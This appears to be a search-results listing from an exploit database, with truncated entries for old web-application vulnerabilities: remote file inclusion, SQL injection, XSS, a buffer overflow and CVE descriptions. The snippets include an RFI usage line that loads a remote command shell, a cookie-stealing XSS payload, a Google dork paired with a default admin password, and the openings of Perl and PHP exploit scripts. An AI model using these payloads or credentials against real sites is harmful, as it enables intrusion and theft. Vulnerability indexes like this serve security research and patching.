4132 matches found
Kietu? < 4.0.0b2 - 'hit.php' Remote File Inclusion
============================================================================================== Kietu? = v4.0.0b2z urlhit Remote File Inclusion Exploit =============================================================================================== Critical Level : Dangerous Download from :...
BrudaGB <= 1.1 (admin/index.php) Remote File Include Vulnerability
No description provided by source. ============================================================================================== BrudaGB = v1.1 o Remote File Inclusion Exploit =============================================================================================== Critical Level : Dangero...
UNAK-CMS 1.5 - 'dirroot' Remote File Inclusion
============================================================================================== UNAK-CMS ================================================================================================ Exploit : -------------------------------- http://sitename.com/Script...
PHP DocWriter 0.3 - 'script' Remote File Inclusion
!/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - phpdocwriter perl exploit.pl http://site.com/phpdocwriterPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka = $ARGV0; $scie...
popperRFI.txt
============================================================================================== Popper ================================================================================================ Exploit : -------------------------------- http://sitename.com/Script...
Popper <= v1.41 (form) Remote File Inclusion Exploit
============================================================================================== Popper = v1.41 form Remote File Inclusion Exploit =============================================================================================== Critical Level : Dangerous Venedor site :...
PhpCommander 3.0 - 'upload' Remote Code Execution
!/usr/bin/php -q -d shortopentag=on ? $devilteam = " ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+: +:+:+: :+:+:+ +:+ +:+ +:+ +:...
The Amazing Little Poll Admin Pwd
SOFTWARE ========= The Amazing Little Poll DESCRIPTION ============ google dork = "The Amazing Little Poll" and go to admin page /lpadmin.php default password dsapoll input to login admin or add to last path /lpsettings.inc and take administrator passwd $pwd="dsapoll"; ; create a new pol...
Cyrus IMAPD 2.3.2 (pop3d) Remote Buffer Overflow Exploit (3)
Exploit for linux platform in category remote exploits ============================================================ Cyrus IMAPD 2.3.2 pop3d Remote Buffer Overflow Exploit 3 ============================================================ !/usr/bin/perl Creator: K-sPecial xzziroz.net of .aware...
Mafia Moblog <= 6 (pathtotemplate) Remote File Inclusion Vulnerability
------------------------------------------------------------------------ ------------------- Mafia Moblog pathtotemplate Remote File Inclusion ------------------------------------------------------------------------ ------------------- Author : Sh3ll Date : 2006/04/30 HomePage : http://www.sh3ll....
CVE-2006-3613
Multiple cross-site scripting XSS vulnerabilities in Chamberland Technology ezWaiter 3.0 Online and possibly Enterprise Software aka enterprise edition allow remote attackers to inject arbitrary web script or HTML via the 1 itemfor aka "Who is this item for?" and 2 special aka "Special...
CVE-2006-3613
Multiple cross-site scripting (XSS) vulnerabilities exist in Chamberland Technology ezWaiter 3.0 Online (and possibly Enterprise Software). The issues allow remote attackers to inject arbitrary web script or HTML via: (1) itemfor (the “Who is this item for?” field) and (2) special (the “Special I...
CVE-2006-3613
Multiple cross-site scripting XSS vulnerabilities in Chamberland Technology ezWaiter 3.0 Online and possibly Enterprise Software aka enterprise edition allow remote attackers to inject arbitrary web script or HTML via the 1 itemfor aka "Who is this item for?" and 2 special aka "Special...
CVE-2006-3231
IBM WebSphere Application Server (WAS) prior to 6.0.2.11 is affected when fileServingEnabled is true. An attacker can remotely obtain JSP source code and other sensitive information through URIs with special characters. The impact is partial confidentiality. Remediation: upgrade WAS to version 6....
CVE-2006-3231
Unspecified vulnerability in IBM WebSphere Application Server WAS before 6.0.2.11, when fileServingEnabled is true, allows remote attackers to obtain JSP source code and other sensitive information via "URIs with special characters."...
Harpia CMS 1.0.5 - Remote File Inclusion
Harpia CMS 1.0.5 - Remote File Inclusion --------------------------------------------------------------------------- Harpia CMS = 1.0.5 Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team Remot...
MyBulletinBoard (MyBB) < 1.1.3 Remote Code Execution Exploit
Exploit for unknown platform in category web applications ============================================================ MyBulletinBoard MyBB 1.1.3 Remote Code Execution Exploit ============================================================ !/usr/bin/perl Tue Jun 13 12:37:12 CEST 2006 email protected...
Construct a special file name to bypass multiple anti-virus engine-vulnerability warning-the black bar safety net
Category: design error Threat level: medium BUGTRAQ ID: 1 5 4 2 3 Affected by the anti-virus engine: Kaspersky Antivirus Symantec AntiVirus F-Prot Antivirus ClamWin Antivirus Avast Antivirus RAV AntiVirus Microsoft AntiSpyware Tested version: Symantec AntiVirus Corporate 8.0 Kaspersky Antivirus...
PHP Live! XSS status_image.php
Date: 03/22/2006 Vendor: OSI Codes Product: PHP Live! Versions: tested 3.0 Vulnerability: Cross Site Scripting Location: statusimage.php Exploit: /phplive/js/statusimage.php?baseurl=scriptalertdocument.cookie/script Stumbled across this while auditing a web server, vendor has been notified...
phpWebsite <= SQL Injection (friend.php) & (article.php)
+phpWebsite +DaBDouB-MoSiKaR Moroccan Security Team +creetz to: Moroccan security TeamDr.E-vil,Dr.Erase,H0550N,ToM-le-Magicianfrance , ameeregypt, Esp!onLeRaVaGe, CiM TeaM, xMs3D0,|ucifer,B6,al-houda membersnabil,sn!per,Kasparovand all hackers musilm morocco and www.lezr.com +special 10x to: safa...